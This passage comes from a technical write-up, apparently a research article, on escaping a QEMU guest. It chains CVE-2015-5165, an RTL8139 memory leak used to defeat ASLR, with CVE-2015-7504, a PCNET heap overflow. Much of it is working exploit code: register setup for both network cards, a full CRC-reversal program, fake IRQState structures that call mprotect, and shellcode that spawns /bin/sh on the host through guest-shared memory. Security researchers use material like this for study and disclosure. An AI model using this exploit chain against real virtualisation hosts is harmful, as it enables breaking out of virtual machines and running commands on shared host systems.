In the following, we will exploit CVE‑2015‑5165 ‑ a memory leak vulnerability that affects the RTL8139 network card device emulator ‑ in order to reconstruct the memory layout of QEMU. More precisely, we need to leak (i) the base address of the .text segment in order to build our shellcode and (ii) the base address of the physical memory allocated for the guest in order to be able to get the precise address of some injected dummy structures.

‑‑‑‑[ 3.1 ‑ The vulnerable Code

The REALTEK network card supports two receive/transmit operation modes: C mode and C+ mode. When the card is set up to use C+, the NIC device emulator miscalculates the length of IP packet data and ends up sending more data than actually available in the packet.

The vulnerability is present in the rtl8139_cplus_transmit_one function from hw/net/rtl8139.c:

/* ip packet header */

ip_header *ip = NULL;

int hlen = 0;

uint8_t ip_protocol = 0;

uint16_t ip_data_len = 0;

uint8_t *eth_payload_data = NULL;

size_t eth_payload_len = 0;

int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));

if (proto == ETH_P_IP)

{

DPRINTF("+++ C+ mode has IP packet\n");

/* not aligned */

eth_payload_data = saved_buffer + ETH_HLEN; eth_payload_len = saved_size ‑ ETH_HLEN;

ip = (ip_header*)eth_payload_data;

if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) { DPRINTF("+++ C+ mode packet has bad IP version %d " "expected %d\n", IP_HEADER_VERSION(ip), IP_HEADER_VERSION_4);

ip = NULL;

} else {

hlen = IP_HEADER_LENGTH(ip);

ip_protocol = ip‑>ip_p;

ip_data_len = be16_to_cpu(ip‑>ip_len) ‑ hlen;

}

}

The IP header contains two fields hlen and ip‑>ip_len that represent the length of the IP header (20 bytes considering a packet without options) and the total length of the packet including the ip header, respectively. As shown at the end of the snippet of code given below, there is no check to ensure that ip‑>ip_len >= hlen while computing the length of IP data (ip_data_len). As the ip_data_len field is encoded as unsigned short, this leads to sending more data than actually available in the transmit buffer.

More precisely, the ip_data_len is later used to compute the length of TCP data that are copied ‑ chunk by chunk if the data exceeds the size of the MTU ‑ into a malloced buffer:

int tcp_data_len = ip_data_len ‑ tcp_hlen;

int tcp_chunk_size = ETH_MTU ‑ hlen ‑ tcp_hlen;

int is_last_frame = 0;

for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size) {

uint16_t chunk_size = tcp_chunk_size;

/* check if this is the last frame */

if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) { is_last_frame = 1;

chunk_size = tcp_data_len ‑ tcp_send_offset;

}

memcpy(data_to_checksum, saved_ip_header + 12, 8);

if (tcp_send_offset) {

memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);

}

/* more code follows */

}

So, if we forge a malformed packet with a corrupted length size (e.g. ip‑>ip_len = hlen ‑ 1), then we can leak approximatively 64 KB from QEMU's heap memory. Instead of sending a single packet, the network card device emulator will end up by sending 43 fragmented packets.

‑‑‑‑[ 3.2 ‑ Setting up the Card

In order to send our malformed packet and read leaked data, we need to configure first Rx and Tx descriptors buffers on the card, and set up some flags so that our packet flows through the vulnerable code path.

The figure below shows the RTL8139 registers. We will not detail all of them but only those which are relevant to our exploit:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0x00 | MAC0 | MAR0 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0x10 | TxStatus0 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0x20 | TxAddr0 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑

0x30 | RxBuf |ChipCmd| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑

0x40 | TxConfig | RxConfig | ... |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| skipping irrelevant registers |

|

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

0xd0 | ... | |TxPoll| ... |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑

0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |

+‑‑‑‑‑‑‑+‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑

‑ TxConfig: Enable/disable Tx flags such as TxLoopBack (enable loopback test mode), TxCRC (do not append CRC to Tx Packets), etc.

‑ RxConfig: Enable/disable Rx flags such as AcceptBroadcast (accept broadcast packets), AcceptMulticast (accept multicast packets), etc. ‑ CpCmd: C+ command register used to enable some functions such as CplusRxEnd (enable receive), CplusTxEnd (enable transmit), etc. ‑ TxAddr0: Physical memory address of Tx descriptors table.

‑ RxRingAddrLO: Low 32‑bits physical memory address of Rx descriptors table.

‑ RxRingAddrHI: High 32‑bits physical memory address of Rx descriptors table.

‑ TxPoll: Tell the card to check Tx descriptors.

A Rx/Tx‑descriptor is defined by the following structure where buf_lo and buf_hi are low 32 bits and high 32 bits physical memory address of Tx/Rx buffers, respectively. These addresses point to buffers holding packets to be sent/received and must be aligned on page size boundary. The variable dw0 encodes the size of the buffer plus additional flags such as the ownership flag to denote if the buffer is owned by the card or the driver.

struct rtl8139_desc {

uint32_t dw0;

uint32_t dw1;

uint32_t buf_lo;

uint32_t buf_hi;

};

The network card is configured through in*() out*() primitives (from sys/io.h). We need to have CAP_SYS_RAWIO privileges to do so. The following snippet of code configures the card and sets up a single Tx descriptor.

#define RTL8139_PORT 0xc000

#define RTL8139_BUFFER_SIZE 1500

struct rtl8139_desc desc;

void *rtl8139_tx_buffer;

uint32_t phy_mem;

rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE); phy_mem = (uint32)gva_to_gpa(rtl8139_tx_buffer);

memset(&desc, 0, sizeof(struct rtl8139_desc));

desc‑>dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN | CP_TX_IPCS | CP_TX_TCPCS;

desc‑>dw0 += RTL8139_BUFFER_SIZE;

desc.buf_lo = phy_mem;

iopl(3);

outl(TxLoopBack, RTL8139_PORT + TxConfig);

outl(AcceptMyPhys, RTL8139_PORT + RxConfig);

outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd); outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd);

outl(phy_mem, RTL8139_PORT + TxAddr0);

outl(0x0, RTL8139_PORT + TxAddr0 + 0x4);

‑‑‑‑[ 3.3 ‑ Exploit

The full exploit (cve‑2015‑5165.c) is available inside the attached source code tarball. The exploit configures the required registers on the card and sets up Tx and Rx buffer descriptors. Then it forges a malformed IP packet addressed to the MAC address of the card. This enables us to read the leaked data by accessing the configured Rx buffers.

While analyzing the leaked data we have observed that several function pointers are present. A closer look reveals that these functions pointers are all members of a same QEMU internal structure:

typedef struct ObjectProperty

{

gchar *name;

gchar *type;

gchar *description;

ObjectPropertyAccessor *get;

ObjectPropertyAccessor *set;

ObjectPropertyResolve *resolve;

ObjectPropertyRelease *release;

void *opaque;

QTAILQ_ENTRY(ObjectProperty) node;

} ObjectProperty;

QEMU follows an object model to manage devices, memory regions, etc. At startup, QEMU creates several objects and assigns to them properties. For example, the following call adds a "may‑overlap" property to a memory region object. This property is endowed with a getter method to retrieve the value of this boolean property:

object_property_add_bool(OBJECT(mr), "may‑overlap", memory_region_get_may_overlap, NULL, /* memory_region_set_may_overlap */

&error_abort);

The RTL8139 network card device emulator reserves a 64 KB on the heap to reassemble packets. There is a large chance that this allocated buffer fits on the space left free by destroyed object properties.

In our exploit, we search for known object properties in the leaked memory. More precisely, we are looking for 80 bytes memory chunks (chunk size of a free'd ObjectProperty structure) where at least one of the function pointers is set (get, set, resolve or release). Even if these addresses are subject to ASLR, we can still guess the base address of the .text section. Indeed, their page offsets are fixed (12 least significant bits or virtual addresses are not randomized). We can do some arithmetics to get the address of some of QEMU's useful functions. We can also derive the address of some LibC functions such as mprotect() and system() from their PLT entries.

We have also noticed that the address PHY_MEM + 0x78 is leaked several times, where PHY_MEM is the start address of the physical memory allocated for the guest.

The current exploit searches the leaked memory and tries to resolves (i) the base address of the .text segment and (ii) the base address of the physical memory.

‑‑[ 4 ‑ Heap‑based Overflow Exploitation

This section discusses the vulnerability CVE‑2015‑7504 and provides an exploit that gets control over the %rip register.

‑‑‑‑[ 4.1 ‑ The vulnerable Code

The AMD PCNET network card emulator is vulnerable to a heap‑based overflow when large‑size packets are received in loopback test mode. The PCNET device emulator reserves a buffer of 4 kB to store packets. If the ADDFCS flag is enabled on Tx descriptor buffer, the card appends a CRC to received packets as shown in the following snippet of code in pcnet_receive() function from hw/net/pcnet.c. This does not pose a problem if the size of the received packets are less than 4096 ‑ 4 bytes. However, if the packet has exactly 4096 bytes, then we can overflow the destination buffer with 4 bytes.

uint8_t *src = s‑>buffer;

/* ... */

if (!s‑>looptest) {

memcpy(src, buf, size);

/* no need to compute the CRC */

src[size] = 0;

src[size + 1] = 0;

src[size + 2] = 0;

src[size + 3] = 0;

size += 4;

} else if (s‑>looptest == PCNET_LOOPTEST_CRC ||

!CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) { uint32_t fcs = ~0;

uint8_t *p = src;

while (p != &src[size])

CRC(fcs, *p++);

*(uint32_t *)p = htonl(fcs);

size += 4;

}

In the above code, s points to PCNET main structure, where we can see that beyond our vulnerable buffer, we can corrupt the value of the irq variable:

struct PCNetState_st {

NICState *nic;

NICConf conf;

QEMUTimer *poll_timer;

int rap, isr, lnkst;

uint32_t rdra, tdra;

uint8_t prom[16];

uint16_t csr[128];

uint16_t bcr[32];

int xmit_pos;

uint64_t timer;

MemoryRegion mmio;

uint8_t buffer[4096];

qemu_irq irq;

void (*phys_mem_read)(void *dma_opaque, hwaddr addr, uint8_t *buf, int len, int do_bswap); void (*phys_mem_write)(void *dma_opaque, hwaddr addr, uint8_t *buf, int len, int do_bswap); void *dma_opaque;

int tx_busy;

int looptest;

};

The variable irq is a pointer to IRQState structure that represents a handler to execute:

typedef void (*qemu_irq_handler)(void *opaque, int n, int level);

struct IRQState {

Object parent_obj;

qemu_irq_handler handler;

void *opaque;

int n;

};

This handler is called several times by the PCNET card emulator. For instance, at the end of pcnet_receive() function, there is call a to pcnet_update_irq() which in turn calls qemu_set_irq():

void qemu_set_irq(qemu_irq irq, int level)

{

if (!irq)

return;

irq‑>handler(irq‑>opaque, irq‑>n, level);

}

So, what we need to exploit this vulnerability:

‑ allocate a fake IRQState structure with a handler to execute (e.g. system()).

‑ compute the precise address of this allocated fake structure. Thanks to the previous memory leak, we know exactly where our fake structure resides in QEMU's process memory (at some offset from the base address of the guest's physical memory).

‑ forge a 4 kB malicious packets.

‑ patch the packet so that the computed CRC on that packet matches the address of our fake IRQState structure.

‑ send the packet.

When this packet is received by the PCNET card, it is handled by the pcnet_receive function() that performs the following actions:

‑ copies the content of the received packet into the buffer variable. ‑ computes a CRC and appends it to the buffer. The buffer is overflowed with 4 bytes and the value of irq variable is corrupted.

‑ calls pcnet_update_irq() that in turns calls qemu_set_irq() with the corrupted irq variable. Out handler is then executed.

Note that we can get control over the first two parameters of the substituted handler (irq‑>opaque and irq‑>n), but thanks to a little trick that we will see later, we can get control over the third parameter too (level parameter). This will be necessary to call mprotect() function.

Note also that we corrupt an 8‑byte pointer with 4 bytes. This is sufficient in our testing environment to successfully get control over the %rip register. However, this poses a problem with kernels compiled without the CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE flag. This issue is discussed in section 5.4.

‑‑‑‑[ 4.2 ‑ Setting up the Card

Before going further, we need to set up the PCNET card in order to configure the required flags, set up Tx and Rx descriptor buffers and allocate ring buffers to hold packets to transmit and receive.

The AMD PCNET card could be accessed in 16 bits mode or 32 bits mode. This depends on the current value of DWI0 (value stored in the card). In the following, we detail the main registers of the PCNET card in 16 bits access mode as this is the default mode after a card reset:

0 16

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| EPROM |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| RDP ‑ Data reg for CSR |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| RAP ‑ Index reg for CSR and BCR |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Reset reg |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| BDP ‑ Data reg for BCR |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The card can be reset to default by accessing the reset register.

The card has two types of internal registers: CSR (Control and Status Register) and BCR (Bus Control Registers). Both registers are accessed by setting first the index of the register that we want to access in the RAP (Register Address Port) register. For instance, if we want to init and restart the card, we need to set bit0 and bit1 to 1 of register CSR0. This can be done by writing 0 to RAP register in order to select the register CSR0, then by setting register CSR to 0x3:

outw(0x0, PCNET_PORT + RAP);

outw(0x3, PCNET_PORT + RDP);

The configuration of the card could be done by filling an initialization structure and passing the physical address of this structure to the card (through register CSR1 and CSR2):

struct pcnet_config {

uint16_t mode; /* working mode: promiscusous, looptest, etc. */

uint8_t rlen; /* number of rx descriptors in log2 base */

uint8_t tlen; /* number of tx descriptors in log2 base */

uint8_t mac[6]; /* mac address */

uint16_t _reserved;

uint8_t ladr[8]; /* logical address filter */

uint32_t rx_desc; /* physical address of rx descriptor buffer */

uint32_t tx_desc; /* physical address of tx descriptor buffer */

};

‑‑‑‑[ 4.3 ‑ Reversing CRC

As discussed previously, we need to fill a packet with data in such a way that the computed CRC matches the address of our fake structure. Fortunately, the CRC is reversible. Thanks to the ideas exposed in [6], we can apply a 4‑byte patch to our packet so that the computed CRC matches a value of our choice. The source code reverse‑crc.c applies a patch to a pre‑filled buffer so that the computed CRC is equal to 0xdeadbeef.

‑‑‑[ reverse‑crc.c ]‑‑‑

#include <stdio.h>

#include <stdint.h>

#define CRC(crc, ch) (crc = (crc >> 8) ^ crctab[(crc ^ (ch)) & 0xff])

/* generated using the AUTODIN II polynomial

*x^32 + x^26 + x^23 + x^22 + x^16 +

*x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1 */

static const uint32_t crctab[256] = {

0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,

0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,

0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,

0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,

0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,

0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,

0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,

0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,

0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,

0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,

0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,

0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,

0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,

0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,

0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,

0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,

0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,

0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,

0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,

0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,

0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,

0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,

0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,

0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,

0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,

0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,

0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,

0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,

0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,

0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,

0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,

0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,

0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,

0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,

0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,

0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,

0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,

0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,

0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,

0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,

0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,

0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,

0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,

0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,

0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,

0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,

0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,

0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,

0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,

0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,

0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,

0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,

0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,

0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,

0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,

0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,

0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,

0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,

0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,

0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,

0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,

0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,

0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,

0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d,

};

uint32_t crc_compute(uint8_t *buffer, size_t size)

{

uint32_t fcs = ~0;

uint8_t *p = buffer;

while (p != &buffer[size])

CRC(fcs, *p++);

return fcs;

}

uint32_t crc_reverse(uint32_t current, uint32_t target)

{

size_t i = 0, j;

uint8_t *ptr;

uint32_t workspace[2] = { current, target };

for (i = 0; i < 2; i++)

workspace[i] &= (uint32_t)~0;

ptr = (uint8_t *)(workspace + 1);

for (i = 0; i < 4; i++) {

j = 0;

while(crctab[j] >> 24 != *(ptr + 3 ‑ i)) j++;

*((uint32_t *)(ptr ‑ i)) ^= crctab[j];

*(ptr ‑ i ‑ 1) ^= j;

}

return *(uint32_t *)(ptr ‑ 4);

}

int main()

{

uint32_t fcs;

uint32_t buffer[2] = { 0xcafecafe };

uint8_t *ptr = (uint8_t *)buffer;

fcs = crc_compute(ptr, 4);

printf("[+] current crc = %010p, required crc = \n", fcs);

fcs = crc_reverse(fcs, 0xdeadbeef);

printf("[+] applying patch = %010p\n", fcs);

buffer[1] = fcs;

fcs = crc_compute(ptr, 8);

if (fcs == 0xdeadbeef)

printf("[+] crc patched successfully\n");

}

‑‑‑‑[ 4.4 ‑ Exploit

The exploit (file cve‑2015‑7504.c from the attached source code tarball) resets the card to its default settings, then configures Tx and Rx descriptors and sets the required flags, and finally inits and restarts the card to push our network card config.

The rest of the exploit simply triggers the vulnerability that crashes QEMU with a single packet. As shown below, qemu_set_irq is called with a corrupted irq variable pointing to 0x7f66deadbeef. QEMU crashes as there is no runnable handler at this address.

(gdb) shell ps ‑e | grep qemu

8335 pts/4 00:00:03 qemu‑system‑x86

(gdb) attach 8335

...

(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault. 0x00007f669ce6c363 in qemu_set_irq (irq=0x7f66deadbeef, level=0) 43 irq‑>handler(irq‑>opaque, irq‑>n, level);

‑‑[ 5 ‑ Putting all Together

In this section, we merge the two previous exploits in order to escape from the VM and get code execution on the host with QEMU's privileges.

First, we exploit CVE‑2015‑5165 in order to reconstruct the memory layout of QEMU. More precisely, the exploit tries to resolve the following addresses in order to bypass ASLR:

‑ The guest physical memory base address. In our exploit, we need to do some allocations on the guest and get their precise address within the virtual address space of QEMU.

‑ The .text section base address. This serves to get the address of qemu_set_irq() function.

‑ The .plt section base address. This serves to determine the addresses of some functions such as fork() and execv() used to build our shellcode. The address of mprotect() is also needed to change the permissions of the guest physical address. Remember that the physical address allocated for the guest is not executable.

‑‑‑‑[ 5.1 ‑ RIP Control

As shown in section 4 we have control over %rip register. Instead of letting QEMU crash at arbitrary address, we overflow the PCNET buffer with an address pointing to a fake IRQState that calls a function of our choice.

At first sight, one could be attempted to build a fake IRQState that runs system(). However, this call will fail as some of QEMU memory mappings are not preserved across a fork() call. More precisely, the mmapped physical memory is marked with the MADV_DONTFORK flag:

qemu_madvise(new_block‑>host, new_block‑>max_length, QEMU_MADV_DONTFORK);

Calling execv() is not useful too as we lose our hands on the guest machine.

Note also that one can construct a shellcode by chaining several fake IRQState in order to call multiple functions since qemu_set_irq() is called several times by PCNET device emulator. However, we found that it's more convenient and more reliable to execute a shellcode after having enabled the PROT_EXEC flag of the page memory where the shellcode is located.

Our idea, is to build two fake IRQState structures. The first one is used to make a call to mprotect(). The second one is used to call a shellcode that will undo first the MADV_DONTFORK flag and then runs an interactive shell between the guest and the host.

As stated earlier, when qemu_set_irq() is called, it takes two parameters as input: irq (pointer to IRQstate structure) and level (IRQ level), then calls the handler as following:

void qemu_set_irq(qemu_irq irq, int level)

{

if (!irq)

return;

irq‑>handler(irq‑>opaque, irq‑>n, level);

}

As shown above, we have control only over the first two parameters. So how to call mprotect() that has three arguments?

To overcome this, we will make qemu_set_irq() calls itself first with the following parameters:

‑ irq: pointer to a fake IRQState that sets the handler pointer to mprotect() function.

‑ level: mprotect flags set to PROT_READ | PROT_WRITE | PROT_EXEC

This is achieved by setting two fake IRQState as shown by the following snippet code:

struct IRQState {

uint8_t _nothing[44];

uint64_t handler;

uint64_t arg_1;

int32_t arg_2;

};

struct IRQState fake_irq[2];

hptr_t fake_irq_mem = gva_to_hva(fake_irq);

/* do qemu_set_irq */

fake_irq[0].handler = qemu_set_irq_addr;

fake_irq[0].arg_1 = fake_irq_mem + sizeof(struct IRQState); fake_irq[0].arg_2 = PROT_READ | PROT_WRITE | PROT_EXEC;

/* do mprotect */

fake_irq[1].handler = mprotec_addrt;

fake_irq[1].arg_1 = (fake_irq_mem >> PAGE_SHIFT) << PAGE_SHIFT; fake_irq[1].arg_2 = PAGE_SIZE;

After overflow takes place, qemu_set_irq() is called with a fake handler that simply recalls qemu_set_irq() which in turns calls mprotect after having adjusted the level parameter to 7 (required flag for mprotect).

The memory is now executable, we can pass the control to our interactive shell by rewriting the handler of the first IRQState to the address of our shellcode:

payload.fake_irq[0].handler = shellcode_addr; payload.fake_irq[0].arg_1 = shellcode_data;

‑‑‑‑[ 5.2 ‑ Interactive Shell

Well. We can simply write a basic shellcode that binds a shell to netcat on some port and then connect to that shell from a separate machine. That's a satisfactory solution, but we can do better to avoid firewall restrictions. We can leverage on a shared memory between the guest and the host to build a bindshell.

Exploiting QEMU's vulnerabilities is a little bit subtle as the code we are writing in the guest is already available in the QEMU's process memory. So there is no need to inject a shellcode. Even better, we can share code and make it run on the guest and the attacked host.

The following figure summarizes the shared memory and the process/thread running on the host and the guest.

We create two shared ring buffers (in and out) and provide read/write primitives with spin‑lock access to those shared memory areas. On the host machine, we run a shellcode that starts a /bin/sh shell on a separate process after having duplicated first its stdin and stdout file descriptors. We create also two threads. The first one reads commands from the shared memory and passes them to the shell via a pipe. The second threads reads the output of the shell (from a second pipe) and then writes them to the shared memory.

These two threads are also instantiated on the guest machine to write user input commands on the dedicated shared memory and to output the results read from the second ring buffer to stdout, respectively.

Note that in our exploit, we have a third thread (and a dedicated shared area) to handle stderr output.

GUEST SHARED MEMORY HOST

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑+

| exploit | QEMU |

| (thread) | main) |

+‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑+

| exploit | sm_write() head sm_read() | QEMU |

| (thread) |‑‑‑‑‑‑‑‑‑‑+ |‑‑‑‑‑‑‑‑‑thread) |

+‑‑‑‑‑‑‑‑‑‑‑‑+ | V +‑‑‑‑‑‑‑‑‑++‑+

| xxxxxxxxxxxxxx‑‑‑‑+ pipe IN ||

| x | +‑‑‑‑‑‑‑‑‑++‑

| x ring buffer | | shell | tail ‑‑‑‑‑‑>x (filled with x) ^ | fork proc. |

|

+‑‑‑‑‑‑‑‑>‑‑pipe OUT ||

+‑‑‑‑‑‑‑‑‑‑‑‑+

| exploit | sm_read() tail sm_write() | QEMU |

| (thread) |‑‑‑‑‑‑‑‑‑‑+ |‑‑‑‑‑‑‑‑‑thread) |

+‑‑‑‑‑‑‑‑‑‑‑‑+ | V +‑‑‑‑‑‑‑‑‑‑‑‑+

| xxxxxxxxxxxxxx‑‑‑‑+ | x | | x ring buffer | head ‑‑‑‑‑‑>x (filled with x) ^

|

+‑‑‑‑‑‑‑‑>‑‑

‑‑‑‑[ 5.3 ‑ VM‑Escape Exploit

In the section, we outline the main structures and functions used in the full exploit (vm‑escape.c).

The injected payload is defined by the following structure:

struct payload {

struct IRQState fake_irq[2];

struct shared_data shared_data;

uint8_t shellcode[1024];

uint8_t pipe_fd2r[1024];

uint8_t pipe_r2fd[1024];

};

Where fake_irq is a pair of fake IRQState structures responsible to call mprotect() and change the page protection where the payload resides.

The structure shared_data is used to pass arguments to the main shellcode:

struct shared_data {

struct GOT got;

uint8_t shell[64];

hptr_t addr;

struct shared_io shared_io;

volatile int done;

};

Where the got structure acts as a Global Offset Table. It contains the address of the main functions to run by the shellcode. The addresses of these functions are resolved from the memory leak.

struct GOT {

typeof(open) *open;

typeof(close) *close;

typeof(read) *read;

typeof(write) *write;

typeof(dup2) *dup2;

typeof(pipe) *pipe;

typeof(fork) *fork;

typeof(execv) *execv;

typeof(malloc) *malloc;

typeof(madvise) *madvise;

typeof(pthread_create) *pthread_create;

typeof(pipe_r2fd) *pipe_r2fd;

typeof(pipe_fd2r) *pipe_fd2r;

};

The main shellcode is defined by the following function:

/* main code to run after %rip control */

void shellcode(struct shared_data *shared_data)

{

pthread_t t_in, t_out, t_err;

int in_fds[2], out_fds[2], err_fds[2];

struct brwpipe *in, *out, *err;

char *args[2] = { shared_data‑>shell, NULL };

if (shared_data‑>done) {

return;

}

shared_data‑>got.madvise((uint64_t *)shared_data‑>addr, PHY_RAM, MADV_DOFORK);

shared_data‑>got.pipe(in_fds);

shared_data‑>got.pipe(out_fds); shared_data‑>got.pipe(err_fds);

in = shared_data‑>got.malloc(sizeof(struct brwpipe));

out = shared_data‑>got.malloc(sizeof(struct brwpipe));

err = shared_data‑>got.malloc(sizeof(struct brwpipe));

in‑>got = &shared_data‑>got;

out‑>got = &shared_data‑>got;

err‑>got = &shared_data‑>got;

in‑>fd = in_fds[1];

out‑>fd = out_fds[0];

err‑>fd = err_fds[0];

in‑>ring = &shared_data‑>shared_io.in;

out‑>ring = &shared_data‑>shared_io.out;

err‑>ring = &shared_data‑>shared_io.err;

if (shared_data‑>got.fork() == 0) { shared_data‑>got.close(in_fds[1]); shared_data‑>got.close(out_fds[0]); shared_data‑>got.close(err_fds[0]); shared_data‑>got.dup2(in_fds[0], 0); shared_data‑>got.dup2(out_fds[1], 1); shared_data‑>got.dup2(err_fds[1], 2); shared_data‑>got.execv(shared_data‑>shell, args);

}

else {

shared_data‑>got.close(in_fds[0]); shared_data‑>got.close(out_fds[1]); shared_data‑>got.close(err_fds[1]);

shared_data‑>got.pthread_create(&t_in, NULL,

shared_data‑>got.pipe_r2fd, in);

shared_data‑>got.pthread_create(&t_out, NULL,

shared_data‑>got.pipe_fd2r, out);

shared_data‑>got.pthread_create(&t_err, NULL,

shared_data‑>got.pipe_fd2r, err);

shared_data‑>done = 1;

}

}

The shellcode checks first the flag shared_data‑>done to avoid running the shellcode multiple times (remember that qemu_set_irq used to pass control to the shellcode is called several times by QEMU code).

The shellcode calls madvise() with shared_data‑>addr pointing to the physical memory. This is necessary to undo the MADV_DONTFORK flag and hence preserve memory mappings across fork() calls.

